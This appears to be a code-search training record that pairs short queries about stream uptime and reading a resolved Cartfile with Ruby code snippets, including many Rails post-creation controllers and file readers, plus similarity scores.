"def create_post(user, friend, text)\n\t\tUserPost.create(text: text,user1_id: user, user2_id: friend)\n\tend",
"def create\n @post = postable.posts.build(params[:post])\n @post.author = current_agent\n\n respond_to do |format|\n if @post.save\n flash[:success] = t('post.created')\n format.html { redirect_to(polymorphic_path([ postable.container, postable ], :anchor => dom_id(@post))) }\n format.xml { render :xml => @post, :status => :created, :location => @post }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create_post(user_id, post_hash={})\n if Users.find(:id => user_id).empty?\n return false\n end\n if post_hash[:location_id] == nil\n return false\n end\n if post_hash[:text] == nil\n return false\n end\n username = Users.find_by_sql(\"SELECT u.name FROM users u WHERE u.id = ?\", user_id).username\n ptext = post_hash[:text]\n plocation = post_hash[:location_id]\n @posts = Posts.create(:author_id => user_id, :author_name => username, :text => ptext, :location_id => plocation)\n return true\n end",
"def create_post_action\n post = Post.create(:title => \"Untitled Post\", :title_html => \"\", :content => \"\", :content_html => \"\", :javascript => \"\", :css => \"\", :is_public => false, :sort_id => 1)\n post.tags = [Tag.get_tag_by_name(\"home\")]\n post.sort_id = post.id\n post.markdown!\n post.save!\n flash[:notice] = \"New post created.\"\n return redirect_to \"/edit_post/\" + post.id.to_s\n end",
"def create\n @post = current_user.posts.new(params[:post])\n @post.edited_at = Time.current\n @post.published_at = Time.current if params[:publish]\n if @post.save\n flash[:success] = \"Post criado com sucesso.\"\n redirect_to admin_posts_path\n else\n @page_title = \"Novo Post\"\n render :action => 'new'\n end\n end",
"def create\n @post = Post.create!(params[:post]) \n end",
"def create\n @post = current_user.posts.build(body: params[:body])\n\n if @post.save\n flash[:success] = \"You created a post\"\n else\n flash[:error] = \"Failed to create post: \" + \n @post.errors.full_messages.join(\", \")\n end\n redirect_to user_timeline_path(@current_user)\n end",
"def create_pm(args = {})\n args[:archetype] = \"private_message\"\n args =\n API\n .params(args)\n .required(:title, :raw, :target_recipients, :archetype)\n .optional(:category, :created_at, :api_username)\n post(\"/posts\", args.to_h)\n end",
"def create\n #initialize a new post object with the parameters submitted, validated by post_params\n @post = Post.new(post_params)\n \n isComment = false\n #check whether this is actually a comment, meaning it should have kind=2 and will need an originating post id\n if params[:kind].present?\n @post.kind = params[:kind].to_i\n @post.originatingPost_id = params[:originatingPost_id].to_i\n isComment = true\n \n #otherwise, it is a post, which optionally has tags\n else\n @post.kind = 0\n @tagsToAdd = params[:tagsToAdd].split(\" \")\n @tagsToAdd.each do |t|\n @post.tags << createTag(t)\n end\n end\n \n #either way, the currently logged in user should be logged as the creator of this post/comment\n @post.user = User.find(session[:user_id])\n \n if @post.save!\n if isComment\n redirect_to action: \"show\", :id => params[:originatingPost_id] #stay on the post's show page\n else\n redirect_to action: \"show\", :id => @post.id #go to this new post's show page\n end\n else\n redirect_to action: 'new' #upon failure, try again\n end\n end",
"def create\n @post.character = current_user.character\n authorize! :create, @post\n create! { posts_url }\n end",
"def create_confirm\n @title = params[:title]\n @description = params[:description]\n @post = Post.new(title: @title, description: @description)\n end",
"def create\n if signed_in? && author_signed_in?\n @post = Post.new(params[:post])\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to(@post, :notice => 'Post was successfully created.') }\n else\n format.html { render :action => \"new\" }\n end\n end\n else\n redirect_to root_path\n end\n end",
"def add_post(post)\n @posts << post #pushes post into post array so that we can compare the author with that author\n post.author = self\nend",
"def create\n @post = Post.new\n @post.PostID = params[:id].to_i\n @post.title = params[:title]\n\n r = PostRepository.new\n\n respond_to do |format|\n if r.save(@post)\n flash[:notice] = 'Post was successfully created.'\n format.html { redirect_to(@post) }\n format.xml { render :xml => @post, :status => :created, :location => @post }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new_post\n @i = 0\n @post_title = params[:title]\n @post\n render \"post\"\n end",
"def create\n @post.author = current_user\n\n if @post.save\n flash[:notice] = 'Post was successfully created.'\n end\n \n respond_with @post\n end",
"def create\n authorize! :create, @post\n @post = Post.new(params[:post])\n @post.user_id = current_user.id\n \n respond_to do |format|\n if @post.save\n format.html { redirect_to(@post, :notice => 'Post was successfully created.') }\n format.xml { render :xml => @post, :status => :created, :location => @post }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def add_post(post)\n post.author = self\n end",
"def add_post(post)\n post.author = self\n end",
"def add_post(post)\n post.author = self\n end",
"def create\n @room = Room.find(params[:target_room_id])\n @post = @room.posts.create(params[:posts])\n @post.user_id = current_user.id\n\n if @post.save!\n flash[:success] = \"Post created!\"\n \n \n \n else\n flash[:failure] = \"Failed to create post!\"\n end\n redirect_to room_path(@room)\n \n end",
"def create\n user_post_param\n respond_to do |format|\n if @post.save\n format.html do\n redirect_to @post, notice:\n \"Post was successfully created.\"\n end\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json do\n render json: @post.errors, status:\n :unprocessable_entity\n end\n end\n end\n end",
"def create\n @post = Post.new(post_params)\n\n end",
"def create(args = {})\n end",
"def save_post(title, href, source, likes = nil, reply_number = nil, category = nil)\r\n post = Post.new(title: title, url: href, source: source, likes: likes, reply_number: reply_number, category: category)\r\n if post.save\r\n puts title + 'saved'\r\n end\r\n end",
"def create\n # @post = Post.new(params.require(:post).permit(:title, :description))\n @post = Post.new(post_params(:title, :description))\n @post.save\n redirect_to post_path(@post)\n end",
"def create\n redirect_to posts_path and return unless Mist.authorized?(:create_post, self)\n coerce_date(params[:post], 'published_at')\n @post = Mist::Post.new(params[:post])\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, :notice => 'Post was successfully created.' }\n format.json { render :json => @post, :status => :created, :location => @post }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @post.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(post_params)\n\n conn = Bunny.new(:automatically_recover => false)\n conn.start\n\n ch = conn.create_channel\n q = ch.queue(\"main\")\n\n ch.default_exchange.publish(@post.body, :routing_key => q.name)\n\n redirect_to posts_url, notice: 'Text was successfully added.'\n\n conn.close\n end",
"def add_post(post)\n post.author = self \n end",
"def test_create_on_post\n post :create,\n :post_id => posts(:by_quentin).id,\n :content => 'This is a test note from aaron...'\n assert_response :redirect\n end",
"def create_post\n post_title = parse_html.css('title')[0].text\n post_url = @url\n points = parse_html.search('.subtext > span:first-child').map { |span| span.inner_text}\n post_points = points[0]\n all_ids = parse_html.search('tr.athing td center a').map { |link| link['id']}\n post_id = all_ids[0].gsub(/[[a-z]_\" \"\"]/,\"\") # taken from the first upvote button\n @post = Post.new(post_title, post_url, post_points, post_id, parse_comments)\n end",
"def create\n @post = Post.new(content: params[:post][:content], user_id: @user.id)\n respond_to do |format|\n if @post.save\n format.html { redirect_to @user }\n format.json { render :show, status: :created, location: @user }\n else\n format.html { redirect_to @user }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n author = Author.create(params[:author])\n redirect_to(author)\n end",
"def add_post(post)\n @posts << post\n post.author = self\n @@post_count += 1\n end",
"def add_post(post)\n @posts << post\n post.author = self\n @@post_count += 1\n end",
"def initialize #initializes post belonging to author \r\n @post = author\r\n end",
"def create\n @user = current_user\n @turf = Turf.find_by_id(params[:post][:turf_id_value])\n\n @post = @turf.posts.build(:content => params[:post][:content])\n @post.user = current_user\n\n if @post.save\n respond_with(@post)\n flash[:success] = \"Post created!\" \n else\n flash[:error] = \"Post not created :(\"\n end\n end",
"def create\n\t\t@post = Post.new(post_params)\n\t\tif @post.save\n\t\t\tredirect_to @post, notice: \"Hello Shoaib You are article is created\"\n\t\telse\n\t\t\trender 'new', notice: \"Oh not I unable to save your post\"\n\t\tend\n\tend",
"def add_post(post)\n @posts << post\n post.author = self\n end",
"def create\n params.permit(:content, :souce_id)\n\n if params[:source_id].nil?\n # 普通のポスト\n @post = Post.new(content: params[:content])\n elsif not Post.find(params[:source_id]).nil?\n # リツイート\n @post = Post.new(content: params[:content], source_id: params[:source_id])\n end\n\n @post.user = current_user\n\n if @post.save\n render :show, status: :created, location: @post\n else\n render json: @post.errors, status: :unprocessable_entity\n end\n end",
"def createAuthor(name=nil)\n params = {}\n params[:name] = name unless name.nil?\n call :createAuthor, params\n end",
"def create_portal_post(options={})\n\t\t\tPortalPost.create({\n\t\t\tauthor: \"Author example\",\n\t\t\ttitle: \"Portal post title example\",\n\t\t\tbody: \"Portal post body example\"\n\t\t\t}.merge(options))\n\t\tend",
"def create\n\n\t\t@post = Post.new(post_params)\n\t\tif @post.tag == \"\"\n\t\t\tredirect_to :back\n\t\telsif @post.body == \"\"\n\t\t\tredirect_to :back\n\t\telse\n\t\t\t@post.save\n\t\t\tredirect_to \"#\"\n\t\t\tflash[:info] = \"Post submited!\"\n\t\tend\n\tend",
"def create\n @post = Post.new(post_params)\n @post.user = current_user\n if @post.save\n success_post_create\n else\n error_post_save\n end\n end",
"def new\n # ensure that a new post is created for a valid author\n if params[:author_id] && !Author.exists?(params[:author_id])\n redirect_to authors_path, alert: \"Author not found.\"\n else\n @post = Post.new(author_id: params[:author_id])\n end\n end",
"def create_forum_post(options={})\n\t\t\tForumPost.create({\n\t\t\tcontent: \"Forum post content sample\"\n\t\t\t}.merge(options))\n\t\tend",
"def create\r\n new_post = current_user.posts.new(post_params)\r\n new_post.save\r\n redirect_to post_path new_post\r\n end",
"def create\n @post = current_user.posts.build(params[:post])\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to new_post_successful_posts_path, notice: 'Anúncio criado com sucesso.' }\n format.json { render json: @post, status: :created, location: @post }\n else\n format.html { render action: \"new\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end"
] |
[
"0.7600629",
"0.7553732",
"0.74361897",
"0.7324124",
"0.72305596",
"0.7164605",
"0.7142949",
"0.70749205",
"0.70749205",
"0.7053139",
"0.7024011",
"0.69883764",
"0.69826555",
"0.69823897",
"0.6977838",
"0.6957114",
"0.6918186",
"0.68804014",
"0.6868529",
"0.6810128",
"0.6769637",
"0.6768302",
"0.6691582",
"0.6665613",
"0.6642794",
"0.66254455",
"0.6609738",
"0.6606133",
"0.6588057",
"0.657601",
"0.65710807",
"0.6552541",
"0.65408087",
"0.6519326",
"0.64955837",
"0.64863366",
"0.64863366",
"0.64751726",
"0.6461388",
"0.64589685",
"0.64589685",
"0.6453761",
"0.64507604",
"0.644536",
"0.6445248",
"0.6440598",
"0.6437516",
"0.64351887",
"0.6428604",
"0.6411757",
"0.64060515",
"0.6404042",
"0.63963187",
"0.63755417",
"0.635181",
"0.6345732",
"0.63426924",
"0.63397723",
"0.6329735",
"0.63202745",
"0.6315077",
"0.6313922",
"0.6300173",
"0.62991035",
"0.62913525",
"0.62886065",
"0.62878746",
"0.6273305",
"0.6260964",
"0.62505174",
"0.62505174",
"0.62505174",
"0.6229581",
"0.62271893",
"0.6222739",
"0.6221853",
"0.6216775",
"0.62046754",
"0.6198156",
"0.61952394",
"0.617947",
"0.61741495",
"0.61728376",
"0.61713785",
"0.61648566",
"0.6164068",
"0.6164068",
"0.61499447",
"0.61499125",
"0.6145794",
"0.6141997",
"0.61369854",
"0.6134999",
"0.6131139",
"0.6126581",
"0.6120961",
"0.6118652",
"0.6111949",
"0.61013633",
"0.6101026"
] |
0.7188947
|
5
|
Returns how many seconds the stream has been up relative to the current time.
|
def uptime
Time.now - live_since
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def up_time\n (Process.clock_gettime(Process::CLOCK_MONOTONIC) - (@start[:time] || Time.now)).round(3)\n end",
"def seconds\n (Time.now - @start_time).to_i\n end",
"def up_time(formatted: true)\n up = ((Process.clock_gettime(Process::CLOCK_MONOTONIC) - (@start[:time] || Time.now)).round(3)).to_i\n formatted ? up.to_ftime : up\n end",
"def total_seconds\n (ends_at - Time.current).round\n end",
"def nowSeconds; Time.now.utc.to_i end",
"def uptime\n @started ? (Time.now - @started).to_i : 0\n end",
"def seconds\n @time\n end",
"def seconds_remaining\n ends_at ? (ends_at - started_at).round : 0\n end",
"def seconds_until\n (start_time - Time.now).to_i\n end",
"def seconds_until\n (start_time - Time.now).to_i\n end",
"def seconds_since_seen\n Time.now - (last_seen || Time.at(0))\n end",
"def uptime\n return 0 if started_at.nil?\n ((Time.now.to_f - started_at.to_f) * 1000.0).to_i\n end",
"def seconds\n ((@died_at - @time) / 1000).to_i\n end",
"def uptime\n Time.now - @start_time\n end",
"def time_to_finish\n past_time = Time.now - self[:start_time]\n seconds_to_go = past_time * self[:max] / self[:current] - past_time\n puts \"time to go: #{seconds_to_go.round}s\"\n end",
"def uptime\n\t\treturn Time.now - self.start_time\n\tend",
"def total_time\n Time.now - @now\n end",
"def to_i\n return @tv_sec\n end",
"def elapsed\n (Time.now - @start_time).round\n end",
"def elapsed_time\n (Time.now.to_f - @start_time) * 1000\n end",
"def in_seconds\n @seconds\n end",
"def time_sec; Time.now.sec; end",
"def time_counter\n counter = Time.new.to_i - @time_counter\n return counter < 0 ? 0 : counter\n end",
"def seconds_left\n if @last_run\n [(@last_run + interval / 1000.0) - Time.now, 0].max\n else\n interval / 1000.0\n end\n end",
"def seconds\n _nudge[2]\n end",
"def time\n end_time - start_time\n end",
"def cycle_time\n if completed_at && started_at\n completed_at - started_at\n else\n 0.0\n end\n end",
"def now\r\n now = Time.now.to_f - @start_time\r\n now * 1000\r\n end",
"def duration # (in seconds)\n if self.end_time and self.start_time \n return (self.end_time - self.start_time).to_i\n end\n walk_time.to_i +\n transit_time.to_i +\n wait_time.to_i\n end",
"def total\n Time.now.to_f - @start\n end",
"def duration\n (Time.now.to_f - @start) * 1000\n end",
"def uptime\n begin\n return Time.now.to_i.to_f - booted_at.to_f\n rescue Exception\n return 0.0\n end\n end",
"def to_i\n self.in_seconds\n end",
"def uptime\n return (Time.now.to_i.to_f - booted_at.to_f) rescue 0.0\n end",
"def stay_duration_seconds\n return 0 unless next_segment\n # when we arrive at the next airport, minus when we arrived at this\n # airport.\n (next_segment.departure_time.to_time - arrival_time.to_time).to_i\n end",
"def seconds_in_cycle(now)\n next_due_at(now) - previous_due_at(now)\n end",
"def seconds_idle # :nodoc:\n return 0 if in_use?\n Concurrent.monotonic_time - @idle_since\n end",
"def process_duration\n return 0.0 unless process_ended_at && process_started_at\n\n (process_ended_at - process_started_at).ceil(3)\n end",
"def seconds_since(time)\n (Process.clock_gettime(Process::CLOCK_MONOTONIC) - time).round(2)\nend",
"def time\n (1 + Time.now.to_i/10).ceil * 10\n end",
"def elapsed_time\n (Time.now.to_f - @start_time) * 1000000\n end",
"def uptime\n fmt_time(Time.now.to_i - STARTUP_TIME)\n end",
"def take_time\n if self.completed?\n (complete_on - started_on) if complete_on && started_on\n end\n end",
"def to_seconds\n (@total / @fps)\n end",
"def to_seconds\n (@total / @fps)\n end",
"def duration\n\t\tt =(Time.now- @start)\n\t\treturn t\n\tend",
"def to_i\n @seconds\n end",
"def uptime\n @uptime ||= down? ? nil : Time.now - started_at\n end",
"def time_elapsed\n Time.now - @start_time\n end",
"def timestamp\n ((Time.now.to_f - StartTime)*1000).round\n end",
"def time_elapsed_secs\n ((winned_at || updated_at || Time.zone.now) - created_at).to_i.seconds\n end",
"def time_elapsed\n\t\treturn Time.now - self.start_time\n\tend",
"def tv_sec\n return @tv_sec\n end",
"def tv_sec() end",
"def duration_of_stay\n duration_of_stay = (@check_out - @check_in).to_i\n return duration_of_stay\n end",
"def duration\n self.end - time\n end",
"def nsec\n 0\n end",
"def timestamp(now)\n (now - @start_time) * 1000\n end",
"def duration\n finished? ? finished_at.to_f - started_at.to_f : -1\n end",
"def time_left\n return 0.0 if free?\n return end_time - Time.now.to_f\n end",
"def run_time\n ((Time.now - start_time) * 1000).round\n end",
"def get_time_running\n\tu = get_unix_time\n\tt = -9\n\tif @TIME > 0\n\t\tt = u - @TIME\n\tend\nend",
"def current_time\r\n return @owner.timestamp.to_i - @start.to_i\r\n end",
"def seconds\n (duration + 0.4999).to_i\n end",
"def time_left\n end_time = created_at + test.time_for_test\n time_left_seconds = end_time - Time.now\n \n return 0 if time_left_seconds < 0\n\n time_left_seconds.round\n end",
"def elapsed\n Time.now - @time_start\n end",
"def seconds_idle # :nodoc:\n return 0 if in_use?\n Process.clock_gettime(Process::CLOCK_MONOTONIC) - @idle_since\n end",
"def play_time\n sum = 0\n @tracks.each {|n| sum += n.total_time}\n return Time.at(sum/1000.0).strftime('%R:%S')\n end",
"def time_left_in_seconds\n seconds = time_left[:seconds]\n seconds += time_left[:minutes] * 60\n seconds += time_left[:hours] * 60 * 60\n seconds += time_left[:days] * 60 * 60 * 24\n seconds\n end",
"def idle_time\n return 0 unless alive?\n return Time.now - ts\n end",
"def total_time; end",
"def remaining_time()\n return @total_time_units - @done_time_units\n end",
"def elapsed_time\n if end_time && start_time\n return ((end_time - start_time)/60).round\n else\n return 0\n end\n end",
"def to_sec\n return (self / Graphics.frame_rate).to_i + 1\n end",
"def timeDifference\n receive_timestamp-@startTime\n end",
"def seconds_since_last\n last.blank? ? 0 : (timestamp_server - last.timestamp_server)\n end",
"def duration\n (finish - start)/3600\n end",
"def remaining\n (Time.now - @last_scrape).to_i \n end",
"def time_elapsed\n if !self.finished.blank?\n ((self.finished - self.started) / 60).to_i\n end\n end",
"def time_duration\n t1 = Time.now.to_f\n Time.now.to_f - t1\nend",
"def elapsed_time\n seconds = (self.end_at.to_i - self.start_at.to_i)\n (seconds / 60)\n end",
"def absolute_secs\n Time.now.to_i\n end",
"def elapsed\n Time.now - self\n end",
"def up_to_time\n up_to_block.call.to_time\n end",
"def secs\n self / 3600.0\n end",
"def elapsed\n duration_since(self.class.now)\n end",
"def total_seconds()\n if @handle.ptr == nil\n raise \"this is disposed\"\n end\n result = Native.TimeSpan_total_seconds(@handle.ptr)\n result\n end",
"def time_remaining\n\n end",
"def time_remaining\n end",
"def seconds\n\t\t@seconds\n\tend",
"def tau\n [current_time - last_updated, 1].max\n end",
"def uptime\n LOG_STAT()\n id = id_gen()\n LOG_CALL(id, true, __method__)\n defer { LOG_CALL(id, false, 'uptime') }\n return fmt_time(Time.now.to_i - STARTUP_TIME)\n end",
"def duration; ((endtime()- starttime()) / 60).to_i; end",
"def time_now_sec()\n\treturn Time.now.to_i - Date.today.to_time.to_i #Seconds since midnight\nend",
"def sec\n return @t_sec\n end",
"def time_played\n self.ended_at ? (ended_at - created_at).to_i : (Time.zone.now - created_at).to_i\n end",
"def calc_play_seconds\n @time_days.to_i * 86400 + @time_hours.to_i * 3600 + @time_minutes.to_i * 60\n end",
"def time\n @status == 'running' ? Time.now - @sw_start : @sw_time\n end",
"def sent_at_seconds_since_epoch\n Time.current.utc.to_i\n end",
"def wait_time\n self.measurement.wait_time\n end"
] |
[
"0.7677821",
"0.7196022",
"0.7172543",
"0.7127302",
"0.6991997",
"0.69709736",
"0.69305724",
"0.69130003",
"0.69061303",
"0.69061303",
"0.6776878",
"0.67712706",
"0.6742",
"0.66927725",
"0.6668665",
"0.66654384",
"0.6591835",
"0.65767556",
"0.6573498",
"0.65607405",
"0.65545887",
"0.65442985",
"0.65151834",
"0.6507377",
"0.6501702",
"0.6481643",
"0.64807045",
"0.6472381",
"0.64576995",
"0.6451628",
"0.6448426",
"0.6420844",
"0.64026916",
"0.6390161",
"0.63837945",
"0.6368564",
"0.6362428",
"0.6362245",
"0.6354284",
"0.6341131",
"0.63390404",
"0.6330437",
"0.63294965",
"0.63143486",
"0.63143486",
"0.6311408",
"0.62914914",
"0.6280752",
"0.62757766",
"0.6274065",
"0.6272253",
"0.6266152",
"0.6263283",
"0.6262159",
"0.62439674",
"0.6233122",
"0.6207288",
"0.62051076",
"0.6202538",
"0.6202508",
"0.62007785",
"0.61908954",
"0.6160064",
"0.6158902",
"0.6140559",
"0.6136786",
"0.6136043",
"0.61319906",
"0.6116988",
"0.6114834",
"0.61113274",
"0.6109435",
"0.61088914",
"0.6106841",
"0.6085977",
"0.6084721",
"0.608083",
"0.60747284",
"0.60711616",
"0.6063393",
"0.60593",
"0.60560423",
"0.60537755",
"0.60537213",
"0.60503453",
"0.60468495",
"0.6029416",
"0.6024877",
"0.6022104",
"0.6012596",
"0.6010538",
"0.59990907",
"0.5996879",
"0.59909797",
"0.5985034",
"0.5979698",
"0.5952329",
"0.5951785",
"0.5950497",
"0.5938353"
] |
0.65258616
|
22
|
read_cart_solved_file read the data of the solved cartfile
|
def read_solved_info(file_path)
nil if File.exist? file_path
cart_file_resolved = {}
IO.foreach(file_path.to_s) do |block|
block = block.strip
next if block.empty? || (block == "\n")
meta = /((?i)binary|git|github)\s+"([^"]+)"\s+"([^"]+)"/.match(block)
if meta
type = meta[1]
f_name = %r{/([^./]+)((?i).git|.json)?$}.match(meta[2])[1]
url = meta[2]
hash = meta[3]
else
puts "#{'***'.cyan} warning could not analysis #{block}"
next
end
cart_file_resolved[f_name] = CartFileResolved.new_cart_solved(f_name, type, url, hash)
end
cart_file_resolved
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def read_cart_file(project_name, cart_file, is_private = false)\n cart_file_data = {}\n\n if File.exist? cart_file\n IO.foreach(cart_file) do |block|\n block = block.strip\n next if (block == '') || (block[0] == \"\\#\")\n\n meta = /((?i)binary|git|github)\\s+\"([^\"]+)\"\\s+(~>|==|>=)?\\s?\"?([\\w\\/.-]+)\"?/.match(block)\n\n puts meta.to_s if PanConstants.debugging\n\n if meta && meta[1].casecmp?('git')\n f_name = %r{/([^./]+)((?i).git)?$}.match(meta[2])[1]\n\n compare_method = meta[3]\n tag = (compare_method.nil? || compare_method.empty?) ? nil : meta[4]\n branch = (!compare_method.nil? && !compare_method.empty?) ? nil : meta[4]\n\n cart_file_data[f_name] = CartFileGit.new(f_name, project_name,\n meta[2], tag, branch,\n compare_method, is_private)\n\n elsif meta && meta[1].casecmp?('github')\n f_name = %r{([^./]+)\\/([^./]+)?$}.match(meta[2])[2]\n\n compare_method = meta[3]\n tag = (compare_method.nil? || compare_method.empty?) ? nil : meta[4]\n branch = (!compare_method.nil? && !compare_method.empty?) ? nil : meta[4]\n\n cart_file_data[f_name] = CartFileGithub.new(f_name, project_name,\n \"git@github.com:#{meta[2]}.git\",\n tag, branch, compare_method,\n is_private)\n\n elsif meta && meta[1].casecmp?('binary')\n f_name = %r{/([^./]+)((?i).json)?$}.match(meta[2])[1]\n tag = meta[4]\n compare_method = meta[3]\n cart_file_data[f_name] = CartFileBinary.new(f_name, project_name,\n meta[2], tag, compare_method,\n is_private)\n\n end\n end\n end\n\n cart_file_data\nend",
"def read(file)\n i = 1\n File.foreach(file) do |line|\n row = line.strip.split(/\\s+/)\n raise Price::Error::InvalidLine, \"Line #{i} is invalid '#{line}'\" if row[0].nil? || row[1].nil? || row[2].nil?\n @items << PackItem.new(row[0], row[1].to_i, row[2].to_f.round(2))\n i += 1\n end\n end",
"def read_data_file(path); end",
"def read file\n File.open file\n end",
"def read_inv x\n File.readlines('inventory.txt')[x]\nend",
"def read_txt\n # Open TXT file\n # f = File.open(self.fichero, \"r\")\n # Use TXT file content\n f = self.fichero\n # Loop thru open file lines\n f.each_line do |line|\n cod_reg = line[0,2]\n if cod_reg == '80'\n # Totals line\n amount = line[36,12]\n self.total_bills = line[22,6].to_i\n self.total_amount = (amount[0,10] + '.' + amount[10,2]).to_d\n elsif cod_reg == '02'\n # Header line\n pdate = line[36,6]\n self.nif = line[10,8]\n self.sufijo = line[18,3]\n self.process_date_time = Date.parse(pdate[4,2] + pdate[2,2] + pdate[0,2]) rescue Date.today\n elsif cod_reg == '01' || cod_reg == '90'\n # First or Last line\n else\n # Invoice charged line: Save in array\n amount = line[36,12]\n self.lista_cobros.push(bill_id: line[76,11].to_i,\n amount: (amount[0,10] + '.' + amount[10,2]).to_d,\n date: line[30,6],\n issuer: line[10,8],\n suffix: line[18,3],\n charge_code: line[21,1],\n charge_bank: line[22,4],\n charge_office: line[26,4],\n charge_id: line[48,6],\n iban_head: line[4,4],\n ccc_bank: line[54,4],\n ccc_office: line[58,4],\n ccc_dc: line[62,2],\n ccc_account_no: line[64,10],\n debit_code: line[74,1],\n cancel_code: line[75,1],\n reference: line[76,13])\n end\n end # f.each_line\n # f.close\n end",
"def read_file\n if @file_lines.empty?\n @file = File.open(@population_file)\n @file_lines = @file.readlines()\n end\n end",
"def read\n\t\t@file_content = File.open(\"/home/calin/football/football.dat\",\"r\")\n\tend",
"def read\n file.read\n end",
"def read\n @read ||= File.read(path)\n end",
"def readFile(fileName)\n begin\n fContent = File.open(fileName).read\n rescue DefaultException => e\n puts \"Reading repository file failed :#{fileName}\"\n end\n end",
"def test_read_file\n begin\n File.open('test.txt', 'w') { |f| f.write('0|0|SYSTEM>569274(100)|1553184699.650330000|288d') }\n end\n assert_equal [['569274', 100]], @verify.read('test.txt')\n end",
"def read\n file\n end",
"def openFile(folder, arquive)\n file = File.open(folder+\"/\"+arquive+\".txt\",\"r\")\n @dataLines=file.read\n file.close\n @vectorLines = split_input(@dataLines, \"\\n\")\n end",
"def read_task_file\n File.read(file_path)\n end",
"def read_lines(data)\n blockchain_temp = IO.readlines(data)\n blockchain_temp\n end",
"def load_data(file)\n return [] unless File.exist?(file)\n @crypto.decrypt(File.open(file, 'rb').read, password: @passphrase).to_s.each_line.to_a\n rescue GPGME::Error::NoData\n []\n end",
"def read_contents\n\t\treturn File.open(self.file_name).read.lines.map(&:chomp) if self.file_name\n\tend",
"def read_test_file(file)\n read_file(file)\n end",
"def read(file_tmp_id)\n content = nil\n if !file_tmp_id.nil? && file_tmp_id != \"\" && file_tmp_id.to_i >= 0\n path = create_file_path(file_tmp_id)\n if File.exists? path\n content = IO.read(path)\n end\n end\n \n yield(self,content)\n return content \n end",
"def get_file_contents(file_path)\n input_file = File.open(file_path, 'r')\n input_file_contents = input_file.read\n input_file.close\n input_file_contents\n end",
"def read_input_file\n\t\tbegin \n\t\t\tfile = File.read('data.json')\n\t\t\tjson_info = JSON.parse(file)\n\t\t\t\n\t\t\t#getting cars and rentals information\n\t\t\t@cars = json_info[\"cars\"]\n\t\t\t@rentals = json_info[\"rentals\"]\n\t\trescue Exception => e \n\t\t\tputs \"Error trying to read the input file!\" \n\t\t\tputs e.message\n\t\tend\n\tend",
"def read_file(path)\n File.read(path)\n end",
"def read_file(file)\n travs = \"\"\n travs << \"../\" * datastore['DEPTH']\n travs << file\n\n print_status(\"#{@peer} - Retrieving file contents...\")\n\n connect\n req = \"GET #{normalize_uri(target_uri.path, \"gefebt.exe\")}?substitute.bcl+FILE=#{travs} HTTP/1.0\\r\\n\\r\\n\"\n sock.put(req)\n res = sock.get_once\n disconnect\n\n if res and res =~ /HTTP\\/1\\.0 200 OK/\n return res\n else\n return nil\n end\n\n end",
"def read_file(file, context); end",
"def getContentsFromFile filetoread\n return File.read(Dir.pwd + '/' + filetoread)\nend",
"def getContentsFromFile filetoread\n return File.read(Dir.pwd + '/' + filetoread)\nend",
"def read\n IO.read(full_path)\n end",
"def read_file(filename); end",
"def read_content(repo, ref, file)\n Base64.decode64(connection.contents(\"#{organization}/#{repo}\", path: file, ref: ref).content)\n end",
"def load_contract(path)\n open(path, 'rb') { |f| Universa::Contract.from_packed(f.read) }\n end",
"def read_tsp_file( file_name )\n file_path = File.join( TSP_DIR, \"#{file_name}.tsp\" )\n File.open( file_path ).read\nend",
"def read_contents\n\n #puts \"pofr file #{@file_blob.filename}\"\n\n file_lines=[]\n @file_blob.open do |file|\n File.open(file){|x| file_lines = x.readlines}\n puts file_lines[0]\n puts file_lines.last\n end\n\n if @file_blob.filename.extension == \"out\" # GNOM\n getDataLinesFromGnom(file_lines)\n elsif @file_blob.filename.extension == \"dat\" # scatter\n puts \"reading file @file #{@file_blob.filename}\"\n getDataLinesFromScatter(file_lines)\n end\n\n @dmax = @r_values.last\n @pr_values.each do |y|\n @pr_max = (y[1] > @pr_max) ? y[1] : @pr_max\n @pr_min = (y[1] < @pr_min) ? y[1] : @pr_min\n end\n\n end",
"def read\n return unless ::File.exist?(@file)\n\n @data = Bencode.decode(::File.read(@file))\n end",
"def read_file\n @read_file ||= File.open(self.file)\n end",
"def read()\n @file.seek(@address)\n @file.getc\n end",
"def read_env(file_path, crypted)\n begin\n env = Cryptenv.new()\n\n if crypted \n env.load_crypted_file(file_path)\n else\n env.load_file(file_path)\n end\n \n rescue Exception => e\n puts \"\\nERROR: #{file_path} file seems to be missing.\\n\"\n raise\n end\nend",
"def read_file(path)\n api.read_file container_name, path\n end",
"def read(path); end",
"def read_sequence_file\n if params[:job][:sequence_file]\n @file = params[:job][:sequence_file].read\n params[:job].delete(:sequence_file)\n end\n end",
"def read\n @input_files.each do |file|\n if File.exist? file\n input_data[file] = File.read(file)\n end\n end\n nil\n end",
"def load_info\n info = File.readlines @dir+\"info\"\n @last_quantity = info[0].chop\n @last_category = info[1].chop.to_i\n @exercises = info[2].chop.split(\",\")\n @last_repq = info[3].chop\n @rep_ex = info[4].chop\n end",
"def read\n @contents ||= File.read @src_path if readable?\n end",
"def test_cib_checksum_from_file\n p = puzzle_unverified\n assert_equal p.cib_checksum, p.calculate_checksum(:cib_checksum)\n end",
"def read\n r = super\n lockbox_notify(\"decrypt_file\") { lockbox.decrypt(r) } if r\n end",
"def read\n r = super\n lockbox_notify(\"decrypt_file\") { lockbox.decrypt(r) } if r\n end",
"def read\n IO.readlines(@sieve_path)\n rescue\n return []\n end",
"def read_file(absolute_path); end",
